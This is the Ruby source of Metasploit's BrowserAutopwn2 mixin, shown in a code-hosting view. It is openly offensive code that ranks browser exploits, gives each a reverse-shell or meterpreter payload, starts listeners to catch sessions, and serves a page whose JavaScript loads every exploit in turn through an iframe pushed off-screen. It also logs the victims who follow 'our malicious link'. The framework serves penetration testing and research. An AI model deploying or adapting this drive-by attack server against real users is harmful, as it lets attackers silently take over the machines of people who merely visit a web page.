50b1ec4044
Hopefully that browsers will respect this. Fix #8675
826 lines
27 KiB
Ruby
826 lines
27 KiB
Ruby
###
|
|
#
|
|
# The Msf::Exploit::Remote::BrowserAutopwn2 mixin is a replacement for the current BrowserAutoPwn.
|
|
# It works with other components such as BrowserExploitServer, BrowserProfileManager, and BES-based
|
|
# exploits to perform a faster and smarter automated client-side attack.
|
|
#
|
|
###
|
|
|
|
require 'date'
|
|
|
|
module Msf
|
|
module Exploit::Remote::BrowserAutopwn2
|
|
|
|
include Msf::Exploit::Remote::BrowserExploitServer
|
|
|
|
# @return [Array] A list of initialized BAP exploits
|
|
attr_reader :bap_exploits
|
|
|
|
# @return [Array] A list of exploit job IDs
|
|
attr_reader :exploit_job_ids
|
|
|
|
# @return [Array] A list of payload job IDs
|
|
attr_reader :payload_job_ids
|
|
|
|
# @return [Array] Wanted payloads.
|
|
attr_reader :wanted_payloads
|
|
|
|
|
|
# The default platform-specific payloads and preferred LPORTS.
|
|
# The hash key is the name of the platform that matches what's on the module.
|
|
# The loader order is specific while starting them up.
|
|
# Firefox payloads use generic handlers.
|
|
DEFAULT_PAYLOADS = {
|
|
firefox: { payload: 'firefox/shell_reverse_tcp', lport: 4442 },
|
|
android: { payload: 'android/meterpreter/reverse_tcp', lport: 4443 },
|
|
win: { payload: 'windows/meterpreter/reverse_tcp', lport: 4444 },
|
|
linux: { payload: 'linux/x86/meterpreter/reverse_tcp', lport: 4445 },
|
|
unix: { payload: 'cmd/unix/reverse', lport: 4446 },
|
|
osx: { payload: 'osx/x86/shell_reverse_tcp', lport: 4447 },
|
|
java: { payload: 'java/meterpreter/reverse_tcp', lport: 4448 },
|
|
generic: { payload: 'generic/shell_reverse_tcp', lport: 4459 }
|
|
}
|
|
|
|
|
|
# Returns all the found exploit modules that support BrowserExploitServer by going through all
|
|
# the exploits from the framework object. All the usable exploits will be stored in #bap_exploits.
|
|
#
|
|
# @return [void]
|
|
def init_exploits
|
|
# First we're going to avoid using #find_all because that gets very slow.
|
|
framework.exploits.each_pair do |fullname, place_holder|
|
|
# If the place holder isn't __SYMBOLIC__, then that means the module is initialized,
|
|
# and that's gotta be the active browser autopwn.
|
|
next if !fullname.include?('browser') || self.fullname == "exploit/#{fullname}"
|
|
|
|
# The user gets to specify which modules to include/exclude
|
|
next if datastore['INCLUDE_PATTERN'] && fullname !~ datastore['INCLUDE_PATTERN']
|
|
next if datastore['EXCLUDE_PATTERN'] && fullname =~ datastore['EXCLUDE_PATTERN']
|
|
|
|
mod = framework.exploits.create(fullname)
|
|
unless mod
|
|
print_status("Failed to load: #{fullname}")
|
|
next
|
|
end
|
|
if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer)
|
|
@bap_exploits << mod
|
|
end
|
|
end
|
|
end
|
|
|
|
|
|
# Returns a prefix type that's unique to this BAP (based on a timestamp & module uuid).
|
|
# This overrides Msf::Exploit::Remote::BrowserProfileManager#browser_profile_prefix so that BAP
|
|
# and all of its child exploits can share target information with each other. If BAP is active
|
|
# but there are other standalone BES exploits running, this allows them not to use (or cleanup)
|
|
# each other's data. Also, once requested, the method will not generate another profile prefix
|
|
# again, it will just return whatever's been stored in the @browser_profile_prefix instance variable.
|
|
#
|
|
# @return [String]
|
|
def browser_profile_prefix
|
|
@browser_profile_prefix ||= "BAP.#{Time.now.to_i}.#{self.uuid}"
|
|
end
|
|
|
|
# Removes background exploit jobs that belong to BAP.
|
|
#
|
|
# @return [void]
|
|
def rm_exploit_jobs
|
|
exploit_job_ids.each do |id|
|
|
framework.jobs.stop_job(id) if framework.jobs[id.to_s]
|
|
sleep(0.1)
|
|
end
|
|
end
|
|
|
|
|
|
# Removes background payload jobs that belong to BAP.
|
|
#
|
|
# @return [void]
|
|
def rm_payload_jobs
|
|
payload_job_ids.each do |id|
|
|
framework.jobs.stop_job(id) if framework.jobs[id.to_s]
|
|
end
|
|
end
|
|
|
|
|
|
# Cleans up everything such as profiles and jobs.
|
|
#
|
|
# @see #rm_exploit_jobs The method for cleaning up jobs.
|
|
# @see #Msf::Exploit::Remote::BrowserProfileManager#clear_browser_profiles The method for removing target information.
|
|
# @return [void]
|
|
def cleanup
|
|
print_status("Cleaning up jobs...")
|
|
super
|
|
configure_job_output(false)
|
|
clear_browser_profiles
|
|
rm_exploit_jobs
|
|
rm_payload_jobs
|
|
end
|
|
|
|
|
|
# Modifies an exploit's default datastore options. Some of them are user-configurable,
|
|
# some must be defined by BAP.
|
|
#
|
|
# @return [void]
|
|
def set_exploit_options(xploit)
|
|
# We could do a massive xploit.datastore.merge!(self.datastore), but this seems
|
|
# really expensive. Costs more loading time.
|
|
|
|
# Set options configurable by the user.
|
|
p = select_payload(xploit)
|
|
xploit.datastore['PAYLOAD'] = p.first[:payload_name]
|
|
xploit.datastore['LPORT'] = p.first[:payload_lport]
|
|
xploit.datastore['SRVHOST'] = datastore['SRVHOST']
|
|
xploit.datastore['SRVPORT'] = datastore['SRVPORT']
|
|
xploit.datastore['LHOST'] = get_payload_lhost
|
|
|
|
%w(JsObfuscate CookieName VERBOSE Retries SSL SSLVersion SSLCipher URIHOST URIPORT).each do |opt|
|
|
xploit.datastore[opt] = datastore[opt] if datastore[opt]
|
|
end
|
|
|
|
# Set options only configurable by BAP.
|
|
xploit.datastore['DisablePayloadHandler'] = true
|
|
xploit.datastore['BrowserProfilePrefix'] = browser_profile_prefix
|
|
xploit.datastore['URIPATH'] = "/#{assign_module_resource}"
|
|
xploit.datastore['WORKSPACE'] = self.workspace
|
|
|
|
# Register this module as a child and copy datastore options
|
|
xploit.register_parent(self)
|
|
end
|
|
|
|
|
|
# Checks if a resource is already taken or not.
|
|
#
|
|
# @param resource [String] The resource to check.
|
|
# @return [TrueClass] Resource is taken.
|
|
# @return [FalseClass] Resource is not taken.
|
|
def is_resource_taken?(resource)
|
|
taken = false
|
|
|
|
bap_exploits.each do |m|
|
|
# Prevent partial matching of one resource within another
|
|
next unless m.datastore['URIPATH']
|
|
return true if m.datastore['URIPATH'].index(resource)
|
|
return true if resource.index(m.datastore['URIPATH'])
|
|
end
|
|
|
|
taken
|
|
end
|
|
|
|
|
|
# Returns a unique resource path.
|
|
#
|
|
# @return [String] A unique resource path.
|
|
def assign_module_resource
|
|
resource = ''
|
|
while
|
|
resource = Rex::Text.rand_text_alpha(rand(10) + 4)
|
|
break unless is_resource_taken?(resource)
|
|
end
|
|
|
|
resource
|
|
end
|
|
|
|
|
|
# Modifies @bap_exploits by sorting. The newest and with the highest ranking goes on top.
|
|
# This method is part of what makes BAP smarter. However, the list rearranged by this exploit
|
|
# will not actually be the same exploit list served to every client. When a client a request,
|
|
# #get_suitable_exploits will generate another list that will actually be used by the client
|
|
# by going through what we have here, and filter out all the exploit modules that don't match
|
|
# the target's requirements.
|
|
#
|
|
# @see #bap_exploits The read-only attribute.
|
|
# @see #sort_date_in_group The method for sorting by disclosure date
|
|
# @see #sort_group_by_rank The method for sorting by rank
|
|
# @see #sort_bap_modules The method for breaking the module list into groups
|
|
# @see #finalize_sorted_modules The method for finalizing bap_exploits
|
|
# @see #get_suitable_exploits
|
|
# @return [void]
|
|
def sort_bap_exploits
|
|
bap_groups = group_bap_modules
|
|
bap_groups = sort_date_in_group(bap_groups)
|
|
bap_groups = sort_group_by_rank(bap_groups)
|
|
finalize_sorted_modules(bap_groups)
|
|
end
|
|
|
|
|
|
# Sorts a grouped module list by disclosure date.
|
|
#
|
|
# @param bap_groups [Hash] A grouped module list.
|
|
# @return [Hash] A hash with each module list sorted by disclosure date.
|
|
def sort_date_in_group(bap_groups)
|
|
bap_groups.each_pair do |ranking, module_list|
|
|
bap_groups[ranking] = module_list.sort_by {|m|
|
|
dstr = m.disclosure_date || "1970-01-01"
|
|
Date.parse(dstr) rescue Date.parse("1970-01-01")
|
|
}.reverse
|
|
end
|
|
end
|
|
|
|
|
|
# Sorts a module list by ranking.
|
|
#
|
|
# @param bap_groups [Hash] A grouped module list.
|
|
# @return [Hash] A hash grouped by ranking.
|
|
def sort_group_by_rank(bap_groups)
|
|
Hash[bap_groups.sort_by {|k,v| k}.reverse]
|
|
end
|
|
|
|
|
|
# Breaks @bap_exploits into groups for sorting purposes.
|
|
#
|
|
# @see #bap_exploits
|
|
# @return [Hash] A module list grouped by rank.
|
|
def group_bap_modules
|
|
bap_groups = {}
|
|
RankingName.each_pair do |ranking, value|
|
|
bap_groups[ranking] = []
|
|
bap_exploits.each do |m|
|
|
next if m.rank != ranking
|
|
bap_groups[ranking] << m
|
|
end
|
|
end
|
|
bap_groups
|
|
end
|
|
|
|
|
|
# Modifies @bap_exploit by replacing it with the rearranged module list.
|
|
#
|
|
# @see #bap_exploits The read-only attribute.
|
|
# @param bap_groups [Hash] A grouped module list.
|
|
# @return [void]
|
|
def finalize_sorted_modules(bap_groups)
|
|
@bap_exploits = []
|
|
bap_groups.each_pair do |ranking, module_list|
|
|
module_list.each do |m|
|
|
break if @bap_exploits.length >= datastore['MaxExploitCount']
|
|
@bap_exploits << m
|
|
end
|
|
end
|
|
end
|
|
|
|
|
|
# Returns a payload name. Either this will be the user's choice, or falls back to a default one.
|
|
#
|
|
# @see DEFAULT_PAYLOADS The default settings.
|
|
# @param platform [Symbol] Platform name.
|
|
# @return [String] Payload name.
|
|
def get_selected_payload_name(platform)
|
|
payload_name = datastore["PAYLOAD_#{platform.to_s.upcase}"]
|
|
|
|
# The payload is legit, we can use it.
|
|
# Avoid #create seems faster
|
|
return payload_name if framework.payloads.keys.include?(payload_name)
|
|
|
|
default = DEFAULT_PAYLOADS[platform][:payload]
|
|
|
|
# The user has configured some unknown payload that we can't use,
|
|
# fall back to default.
|
|
default
|
|
end
|
|
|
|
|
|
# Returns the selected payload's LPORT.
|
|
#
|
|
# @param platform [Symbol]
|
|
# @return [Integer]
|
|
def get_selected_payload_lport(platform)
|
|
datastore["PAYLOAD_#{platform.to_s.upcase}_LPORT"]
|
|
end
|
|
|
|
|
|
# Returns the selected payload's LHOST. If no LHOST is set by the user (via the datastore option),
|
|
# then the method automatically generates one by Rex.
|
|
#
|
|
# @return [String]
|
|
def get_payload_lhost
|
|
datastore['LHOST'] || Rex::Socket.source_address
|
|
end
|
|
|
|
|
|
# Creates payload listeners. The active job IDs will be tracked in #payload_job_ids so that
|
|
# we know how to find them and then clean them up.
|
|
#
|
|
# @note FireFox payload is skipped because there's no handler for it.
|
|
# @see #payload_job_ids
|
|
# @return [void]
|
|
def start_payload_listeners
|
|
# Spawn nothing if the user doesn't want to pop sessions.
|
|
return if datastore['MaxSessionCount'] == 0
|
|
|
|
# Don't repeat launching payload handlers
|
|
wanted_payloads.uniq! { |e| e[:payload_name] }
|
|
|
|
wanted_payloads.each do |wanted|
|
|
multi_handler = framework.exploits.create('multi/handler')
|
|
|
|
# We have to special case firefox
|
|
payload_name = wanted[:payload_name].include?('firefox/') ? wanted[:payload_name].gsub('firefox/', 'generic/') : wanted[:payload_name]
|
|
|
|
# User-configurable options
|
|
# multi_handler.datastore.merge!(self.datastore) could be used, but
|
|
# really expensive. Costs more loading time.
|
|
multi_handler.datastore['LHOST'] = get_payload_lhost
|
|
multi_handler.datastore['PAYLOAD'] = payload_name
|
|
multi_handler.datastore['LPORT'] = wanted[:payload_lport]
|
|
|
|
%w(DebugOptions PrependMigrate PrependMigrateProc
|
|
InitialAutoRunScript AutoRunScript CAMPAIGN_ID HandlerSSLCert
|
|
StagerVerifySSLCert PayloadUUIDTracking PayloadUUIDName
|
|
IgnoreUnknownPayloads SessionRetryTotal SessionRetryWait
|
|
SessionExpirationTimeout SessionCommunicationTimeout).each do |opt|
|
|
multi_handler.datastore[opt] = datastore[opt] if datastore[opt]
|
|
end
|
|
|
|
# Configurable only by BAP
|
|
multi_handler.datastore['ExitOnSession'] = false
|
|
multi_handler.datastore['EXITFUNC'] = 'thread'
|
|
multi_handler.datastore['WORKSPACE'] = self.workspace
|
|
|
|
# Register this module as a child and copy datastore options
|
|
multi_handler.register_parent(self)
|
|
|
|
# Now we're ready to start the handler
|
|
multi_handler.exploit_simple(
|
|
'LocalInput' => nil,
|
|
'LocalOutput' => nil,
|
|
'Payload' => payload_name,
|
|
'RunAsJob' => true
|
|
)
|
|
@payload_job_ids << multi_handler.job_id
|
|
end
|
|
end
|
|
|
|
|
|
# Returns the human-readable version of the rank.
|
|
#
|
|
# @param rank [Integer]
|
|
# @return [String]
|
|
def parse_rank(rank)
|
|
RankingName[rank].to_s.capitalize
|
|
end
|
|
|
|
|
|
# Checks whether the payload is compatible with the module based on platform information.
|
|
# Best for single-platform modules and for performance.
|
|
#
|
|
# @param m [Object] Module.
|
|
# @param payload_platform [Symbol] Payload platform.
|
|
# @return [TrueClass] Payload is compatible.
|
|
# @return [FalseClass] Payload is not compatible.
|
|
def is_payload_platform_compatible?(m, payload_platform)
|
|
begin
|
|
platform_obj = Msf::Module::Platform.find_platform(payload_platform.to_s)
|
|
rescue ArgumentError
|
|
false
|
|
end
|
|
|
|
return true if platform_obj && m.platform.platforms.include?(platform_obj)
|
|
|
|
false
|
|
end
|
|
|
|
|
|
# Checks whether the payload is compatible with the module based on the module's compatibility list
|
|
#
|
|
# @param compatible_payloads [Array] A list of payloads that are compatible
|
|
# @param payload_name [String]
|
|
# @return [TrueClass] Payload is compatible.
|
|
# @return [FalseClass] Payload is not compatible.
|
|
def is_payload_compatible?(compatible_payloads, payload_name)
|
|
compatible_payloads.each do |k|
|
|
return true if k[0] == payload_name
|
|
end
|
|
|
|
false
|
|
end
|
|
|
|
|
|
# Checks if the module is multi-platform based on the directory path.
|
|
#
|
|
# @param m [Object] Module.
|
|
# @return [TrueClass] is multi-platform.
|
|
# @return [FalseClass] is not multi-platform.
|
|
def is_multi_platform_exploit?(m)
|
|
m.fullname.include?('multi/')
|
|
end
|
|
|
|
|
|
# Returns an appropriate payload that's compatible with the module.
|
|
#
|
|
# @param m [Object] A module that's been initialized.
|
|
# @return [Array] Payload name. Example: 'windows/meterpreter/reverse_tcp'
|
|
def select_payload(m)
|
|
compatible_payloads = []
|
|
|
|
module_payloads = nil
|
|
|
|
DEFAULT_PAYLOADS.each_pair do |platform, info|
|
|
payload_choice = {
|
|
:payload_name => get_selected_payload_name(platform),
|
|
:payload_lport => get_selected_payload_lport(platform)
|
|
}
|
|
|
|
if !is_multi_platform_exploit?(m) && !m.platform.platforms.empty? && is_payload_platform_compatible?(m, platform)
|
|
compatible_payloads << payload_choice
|
|
break
|
|
else
|
|
# The #compatible_payloads method is super expensive (slow). By doing it this way,
|
|
# I managed to shave off seconds.
|
|
module_payloads ||= m.compatible_payloads
|
|
|
|
if is_payload_compatible?(module_payloads, payload_choice[:payload_name])
|
|
compatible_payloads << payload_choice
|
|
end
|
|
end
|
|
end
|
|
|
|
@wanted_payloads.concat(compatible_payloads)
|
|
|
|
compatible_payloads
|
|
end
|
|
|
|
|
|
# Starts exploits.
|
|
#
|
|
# @return [void]
|
|
def start_exploits
|
|
bap_exploits.each do |m|
|
|
set_exploit_options(m)
|
|
m.exploit_simple(
|
|
'LocalInput' => nil,
|
|
'LocalOutput' => nil,
|
|
'Quiet' => true,
|
|
'Target' => 0,
|
|
'Payload' => m.datastore['PAYLOAD'],
|
|
'RunAsJob' => true
|
|
)
|
|
@exploit_job_ids << m.job_id
|
|
end
|
|
end
|
|
|
|
|
|
# Sets up BAPv2. This is like our main function.
|
|
#
|
|
# @return [void]
|
|
def setup
|
|
t1 = Time.now
|
|
|
|
super
|
|
@bap_exploits = []
|
|
@exploit_job_ids = []
|
|
@payload_job_ids = []
|
|
@wanted_payloads = []
|
|
|
|
# #split might be expensive if the file is really big
|
|
@whitelist = datastore['AllowedAddresses'] ? datastore['AllowedAddresses'].split : nil
|
|
|
|
print_status("Searching BES exploits, please wait...")
|
|
init_exploits
|
|
sort_bap_exploits
|
|
|
|
print_status("Starting exploit modules...")
|
|
start_exploits
|
|
|
|
print_status("Starting listeners...")
|
|
start_payload_listeners
|
|
|
|
t2 = Time.now
|
|
print_status("Time spent: #{(t2-t1).inspect}")
|
|
|
|
configure_job_output(true)
|
|
end
|
|
|
|
# Configures the output of sub-jobs
|
|
#
|
|
# @return [void]
|
|
def configure_job_output(on=true)
|
|
(@exploit_job_ids + @payload_job_ids).each do |jid|
|
|
job = framework.jobs[jid.to_s]
|
|
next unless job
|
|
job.ctx.each do |m|
|
|
next unless m.respond_to? :user_output
|
|
m.user_output = on ? self.user_output : nil
|
|
break
|
|
end
|
|
end
|
|
end
|
|
|
|
|
|
# Prints all the exploits that BAP will consider using. But this isn't the actual list of
|
|
# exploits that BAP will use for each target.
|
|
#
|
|
# @return [void]
|
|
def show_ready_exploits
|
|
columns = ['Order', 'Rank', 'Name', 'Path', 'Payload']
|
|
|
|
# If not verbose, you're not in dev mode.
|
|
# As an user, you shouldn't be using any of these paths anyway.
|
|
columns.delete('Path') if !datastore['VERBOSE']
|
|
|
|
table = Rex::Text::Table.new(
|
|
'Header' => 'Exploits',
|
|
'Indent' => 1,
|
|
'Columns' => columns
|
|
)
|
|
|
|
# Without the order, sometimes the Rex table messes up even though in the array
|
|
# the order looks right. So don't get rid of this.
|
|
order = 1
|
|
|
|
bap_exploits.each do |m|
|
|
row = []
|
|
row << order
|
|
row << parse_rank(m.rank)
|
|
row << m.shortname
|
|
row << m.datastore['URIPATH'] if datastore['VERBOSE']
|
|
row << "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}"
|
|
table << row
|
|
order += 1
|
|
end
|
|
|
|
print_line
|
|
print_status("The following is a list of exploits that BrowserAutoPwn will consider using.")
|
|
print_status("Exploits with the highest ranking and newest will be tried first.")
|
|
print_line
|
|
print_line table.to_s
|
|
end
|
|
|
|
|
|
# Prints information such as what exploits will be used, and the BAP URL.
|
|
#
|
|
# @return [void]
|
|
def start_service
|
|
super
|
|
show_ready_exploits
|
|
proto = (datastore['SSL'] ? "https" : "http")
|
|
|
|
if datastore['URIHOST'] && datastore['URIHOST'] != '0.0.0.0'
|
|
srvhost = datastore['URIHOST']
|
|
elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0'
|
|
srvhost = datastore['SRVHOST']
|
|
else
|
|
srvhost = Rex::Socket.source_address
|
|
end
|
|
|
|
if datastore['URIPORT'] && datastore['URIPORT'] != 0
|
|
srvport = datastore['URIPORT']
|
|
else
|
|
srvport = datastore['SRVPORT']
|
|
end
|
|
|
|
service_uri = "#{proto}://#{srvhost}:#{srvport}#{get_resource}"
|
|
print_good("Please use the following URL for the browser attack:")
|
|
print_good("BrowserAutoPwn URL: #{service_uri}")
|
|
end
|
|
|
|
|
|
# Returns a list of suitable exploits for the current client based on what #sort_bap_exploits
|
|
# gives us. It will do a global exploitable requirement check (the best it can do). There's
|
|
# actually a target-specific exploitable requirement check too, but that is performed in
|
|
# BrowserExploitServer while the exploit is being served. In other words, it is possible
|
|
# #get_suitable_exploits might not be 100% accurate (but pretty good, it depends on how the
|
|
# exploit dev accurately defines his/her global requirements), but the exploit always has a
|
|
# choice to bail at the last second if it decides it is actually not suitable for the client.
|
|
# That way we don't risk being too wreckless with our attack.
|
|
#
|
|
# @param cli [Socket] Socket for the browser
|
|
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
|
# @return [Array]
|
|
def get_suitable_exploits(cli, request)
|
|
current_exploit_list = []
|
|
tag = retrieve_tag(cli, request)
|
|
profile_info = browser_profile[tag]
|
|
bap_exploits.each do |m|
|
|
if m.get_bad_requirements(profile_info).empty?
|
|
current_exploit_list << m
|
|
end
|
|
end
|
|
|
|
if datastore['ShowExploitList']
|
|
show_exploit_list(cli.peerhost, tag, current_exploit_list)
|
|
end
|
|
|
|
current_exploit_list
|
|
end
|
|
|
|
|
|
# Logs a click that includes the suitable exploit list.
|
|
#
|
|
# @param ip [String] The target's IP address.
|
|
# @param data [String] (Optional) CSV data that contains the exploit list.
|
|
# @return [void]
|
|
def log_click(ip, data='')
|
|
report_note(
|
|
:host => ip,
|
|
:type => 'bap.clicks',
|
|
:data => data,
|
|
:update => :unique)
|
|
end
|
|
|
|
|
|
# Prints a list of suitable exploits for the current list.
|
|
#
|
|
# @see #sort_bap_exploits Explains how the exploit list is generated at first.
|
|
# @see #get_suitable_exploits Explains how we serve exploits to each client.
|
|
# @return [void]
|
|
def show_exploit_list(ip, tag, current_exploit_list)
|
|
order = 1
|
|
table = Rex::Text::Table.new(
|
|
'Header' => '',
|
|
'Indent' => 1,
|
|
'Columns' => ['Order', 'IP', 'Exploit']
|
|
)
|
|
current_exploit_list.each do |m|
|
|
table << [order, ip, m.shortname]
|
|
order += 1
|
|
end
|
|
|
|
if table.rows.empty?
|
|
print_status("User #{cli.peerhost} (Tag: #{tag}) visited our malicious link, but no exploits found suitable.")
|
|
else
|
|
# Update the exploit list data
|
|
log_click(cli.peerhost, table.to_csv)
|
|
print_status("Exploits found suitable for #{cli.peerhost} (Tag: #{tag})#{table}")
|
|
end
|
|
end
|
|
|
|
|
|
# Returns a list of exploit URLs. This is used by #build_html so the client can load our
|
|
# exploits one by one.
|
|
#
|
|
# @see #build_html
|
|
# @param cli [Socket] Socket for the browser
|
|
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
|
# @return [Array]
|
|
def get_exploit_urls(cli, request)
|
|
urls = []
|
|
|
|
exploit_list = get_suitable_exploits(cli, request)
|
|
|
|
exploit_list.each do |mod|
|
|
proto = datastore['SSL'] ? 'https' : 'http'
|
|
# We haven't URIHOST and URIPORT into account here because
|
|
# the framework uses them only on `get_uri`
|
|
host = ''
|
|
if datastore['URIHOST'] && datastore['URIHOST'] != '0.0.0.0'
|
|
host = datastore['URIHOST']
|
|
elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0'
|
|
host = datastore['SRVHOST']
|
|
else
|
|
host = Rex::Socket.source_address
|
|
end
|
|
if datastore['URIPORT'] && datastore['URIPORT'] != 0
|
|
port = datastore['URIPORT']
|
|
else
|
|
port = datastore['SRVPORT']
|
|
end
|
|
|
|
resource = mod.datastore['URIPATH']
|
|
url = "#{proto}://#{host}:#{port}#{resource}"
|
|
urls << url
|
|
end
|
|
|
|
urls
|
|
end
|
|
|
|
|
|
# Handles client requests specific for BAP.
|
|
#
|
|
# @param cli [Socket] Socket for the browser
|
|
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
|
# @return [void]
|
|
def on_request_uri(cli, request)
|
|
# Check if target is on our whitelist
|
|
if @whitelist && !is_ip_targeted?(cli.peerhost)
|
|
print_status("Client #{cli.peerhost} is trying to connect but not on our whitelist.")
|
|
send_not_found(cli)
|
|
return
|
|
end
|
|
|
|
log_click(cli.peerhost)
|
|
|
|
super
|
|
end
|
|
|
|
|
|
# Returns true if the IP is on our whitelist.
|
|
#
|
|
# @param [String] cli_ip Client's IP.
|
|
# @return [TrueClass] The IP is on the whitelist.
|
|
# @return [FalseClass] The IP is not on the whitelist.
|
|
def is_ip_targeted?(cli_ip)
|
|
return true unless @whitelist
|
|
@whitelist.include?(cli_ip)
|
|
end
|
|
|
|
|
|
# Returns a number of sessions obtained by BAP's payload handlers.
|
|
#
|
|
# @return [Integer] A session count.
|
|
def session_count
|
|
total = 0
|
|
|
|
payload_job_ids.each do |id|
|
|
job_workspace = framework.jobs[id.to_s].ctx.first.datastore['WORKSPACE']
|
|
if job_workspace == self.workspace
|
|
total += framework.jobs[id.to_s].ctx.first.session_count
|
|
end
|
|
end
|
|
|
|
total
|
|
end
|
|
|
|
|
|
# Returns the custom 404 URL set by the user
|
|
#
|
|
# @return [String]
|
|
def get_custom_404_url
|
|
datastore['Custom404'].to_s
|
|
end
|
|
|
|
|
|
# Returns the HTML that serves our exploits.
|
|
#
|
|
# @param cli [Socket] Socket for the browser
|
|
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
|
# @return [String] HTML
|
|
def build_html(cli, request)
|
|
exploit_list = get_exploit_urls(cli, request)
|
|
|
|
if datastore['MaxSessionCount'] > -1 && session_count >= datastore['MaxSessionCount']
|
|
print_status("Exploits will not be served because you've reached the max session count of #{datastore['MaxSessionCount']}")
|
|
if datastore['HTMLContent'].blank?
|
|
send_not_found(cli)
|
|
return ''
|
|
else
|
|
return datastore['HTMLContent']
|
|
end
|
|
elsif exploit_list.empty?
|
|
print_status("No suitable exploits to send for #{cli.peerhost}")
|
|
if datastore['HTMLContent'].blank?
|
|
send_not_found(cli)
|
|
return ''
|
|
else
|
|
return datastore['HTMLContent']
|
|
end
|
|
end
|
|
|
|
|
|
# Some Flash exploits don't seem to work well with a hidden iframe.
|
|
js = %Q|
|
|
var exploitList = [#{exploit_list.map! {|e| "'#{e}'"} * ", "}];
|
|
|
|
function setElementStyle(e, opts) {
|
|
if (typeof e.style.setAttribute == 'undefined') {
|
|
var attributeString = '';
|
|
for (var key in opts) { attributeString += key + ":" + opts[key] + ";" }
|
|
e.setAttribute("style", attributeString);
|
|
} else {
|
|
for (var key in opts) {
|
|
e.style.setAttribute(key, opts[key]);
|
|
}
|
|
}
|
|
}
|
|
|
|
function moveIframe(e) {
|
|
var opts = {
|
|
'position': 'absolute',
|
|
'left': screen.width * -screen.width
|
|
}
|
|
setElementStyle(e, opts);
|
|
}
|
|
|
|
window.onload = function() {
|
|
var e = document.createElement("iframe");
|
|
e.setAttribute("id", "myiframe");
|
|
moveIframe(e);
|
|
document.body.appendChild(e);
|
|
loadExploit();
|
|
}
|
|
|
|
function loadExploit() {
|
|
var e = document.getElementById("myiframe");
|
|
var firstUri = exploitList.splice(0, 1);
|
|
if (firstUri != '') {
|
|
e.setAttribute("src", firstUri);
|
|
setTimeout("loadExploit()", #{datastore['ExploitReloadTimeout']});
|
|
}
|
|
}
|
|
|
|
|
|
|
%Q|<html>
|
|
<head>
|
|
<meta http-equiv="cache-control" content="no-cache" />
|
|
<script>
|
|
#{js}
|
|
</script>
|
|
</head>
|
|
<body>
|
|
</body>
|
|
</html>
|
|
#{datastore['HTMLContent']}|
|
|
end
|
|
|
|
end
|
|
end
|